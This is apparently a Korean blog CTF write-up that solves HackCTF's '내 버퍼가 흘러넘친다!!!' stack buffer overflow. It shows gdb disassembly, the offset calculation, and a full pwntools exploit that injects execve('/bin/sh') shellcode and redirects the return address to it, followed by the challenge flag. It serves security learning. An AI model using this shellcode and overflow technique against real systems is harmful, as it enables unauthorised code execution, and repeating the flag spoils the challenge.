728x90
반응형
오늘은 hackctf의 pwn문제인 "내 버퍼가 흘러넘친다!!!"를 풀어볼 것이다.
문제 파일에는 prob1이라는 바이너리가 있었다.
먼저 프로그램에 실행 권한을 주고 실행해보자.
위처럼 Name : , input : 이렇게 두 개 입력을 받는다.
인자를 두 개 받아서 name에는 shellcode, input의 return address를 name시작 주소로 돌리면 된다고 생각했다.
일단 먼저 main을 디스 어셈을 해보자.
(gdb) disas main
Dump of assembler code for function main:
0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x14
0x080484d1 <+6>: mov eax,ds:0x804a040
0x080484d6 <+11>: push 0x0
0x080484d8 <+13>: push 0x2
0x080484da <+15>: push 0x0
0x080484dc <+17>: push eax
0x080484dd <+18>: call 0x80483b0 <setvbuf@plt>
0x080484e2 <+23>: add esp,0x10
0x080484e5 <+26>: push 0x80485b0
0x080484ea <+31>: call 0x8048380 <printf@plt>
0x080484ef <+36>: add esp,0x4
0x080484f2 <+39>: push 0x32
0x080484f4 <+41>: push 0x804a060
0x080484f9 <+46>: push 0x0
0x080484fb <+48>: call 0x8048370 <read@plt>
0x08048500 <+53>: add esp,0xc
0x08048503 <+56>: push 0x80485b8
0x08048508 <+61>: call 0x8048380 <printf@plt>
0x0804850d <+66>: add esp,0x4
0x08048510 <+69>: lea eax,[ebp-0x14]
0x08048513 <+72>: push eax
0x08048514 <+73>: call 0x8048390 <gets@plt>
0x08048519 <+78>: add esp,0x4
0x0804851c <+81>: mov eax,0x0
0x08048521 <+86>: leave
0x08048522 <+87>: ret
End of assembler dump.
위처럼 뜨는데 read는 name을 gets는 input을 받는 것 같다.
그러면 BOF를 할 gets부분의 스택의 길이를 확인해보자.
input 부터 ret까지 채우는데 몇 바이트가 필요한지는 아래의 명령어를 이용해서 구했다.
(gdb) b *0x080484cb
Breakpoint 1 at 0x80484cb
(gdb) b *0x08048514
Breakpoint 2 at 0x8048514
(gdb) r
Starting program: /home/psj/hackctf/bof/prob1
Breakpoint 1, 0x080484cb in main ()
(gdb) i r esp
esp 0xffffd01c 0xffffd01c
(gdb) c
Continuing.
Name : AAAA
input :
Breakpoint 2, 0x08048514 in main ()
(gdb) i r esp
esp 0xffffd000 0xffffd000
(gdb) p/d 0xffffd01c-0xffffd000
$1 = 28
일단 ret를 채우는데 28바이트가 필요하니깐 ret는 24바이트를 넣고 들어간다.
#stack
input[20]
sfp[4]
ret[4]
그러면 결과적으로 exploit code를 짤 때 name에 쉘코드를 넣고, input에 nop을 24바이트 채우고 name이 들어가는 주소를 넣으면 된다.
이제 name의 시작 주소를 확인해보자.
일단 read함수가 실행되고 바로 뒤에 실행되는 부분에 브레이크를 걸고 A를 10개만 넣어보자.
아래에 A가 어디부터 들어가는지 확인할수 있다.
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x0
ECX: 0x804a060 ("AAAAAAAAAA\n")
EDX: 0x32 ('2')
ESI: 0xf7fb6000 --> 0x1afdb0
EDI: 0xf7fb6000 --> 0x1afdb0
EBP: 0xffffd018 --> 0x0
ESP: 0xffffcff8 --> 0x0
EIP: 0x8048500 (<main+53>: add esp,0xc)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484f4 <main+41>: push 0x804a060
0x80484f9 <main+46>: push 0x0
0x80484fb <main+48>: call 0x8048370 <read@plt>
=> 0x8048500 <main+53>: add esp,0xc
0x8048503 <main+56>: push 0x80485b8
0x8048508 <main+61>: call 0x8048380 <printf@plt>
0x804850d <main+66>: add esp,0x4
0x8048510 <main+69>: lea eax,[ebp-0x14]
[------------------------------------stack-------------------------------------]
0000| 0xffffcff8 --> 0x0
0004| 0xffffcffc --> 0x804a060 ("AAAAAAAAAA\n")
0008| 0xffffd000 --> 0x32 ('2')
0012| 0xffffd004 --> 0x8048220 --> 0x3a (':')
0016| 0xffffd008 --> 0x8048539 (<__libc_csu_init+9>: add ebx,0x1ac7)
0020| 0xffffd00c --> 0x0
0024| 0xffffd010 --> 0xf7fb6000 --> 0x1afdb0
0028| 0xffffd014 --> 0xf7fb6000 --> 0x1afdb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x08048500 in main ()
name이 0x804a060부터 들어가는걸 알 수 있다.
그러면 이제 exploit 코드를 짜보자.
from pwn import*
#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz",3003)
#shellcode : 26byte
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
ret = 0x0804a060
p.recvuntil("Name : ")
p.sendline(shellcode)
p.recvuntil("input : ")
payload = b"\x90"*24
payload += p32(ret)
p.sendline(payload)
p.interactive()
위처럼 익스플로잇을 짤 수 있다.
위 코드를 실행해보면 아래처럼 쉘 획득에 성공한걸 확인할 수 있다.
flag : HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}
728x90
반응형
'워게임' 카테고리의 다른 글
HackCTF - x64 Simple_size_BOF (0) | 2021.07.27 |
---|---|
HackCTF - x64 Buffer Overflow(writeup) (0) | 2021.07.26 |
Dreamhack - basic_exploitation_000 (writeup) (0) | 2021.07.26 |
Dreamhack - basic_rop_x86 (Write up) (0) | 2021.07.25 |
Webhacking.kr - 26번 문제 (0) | 2021.02.06 |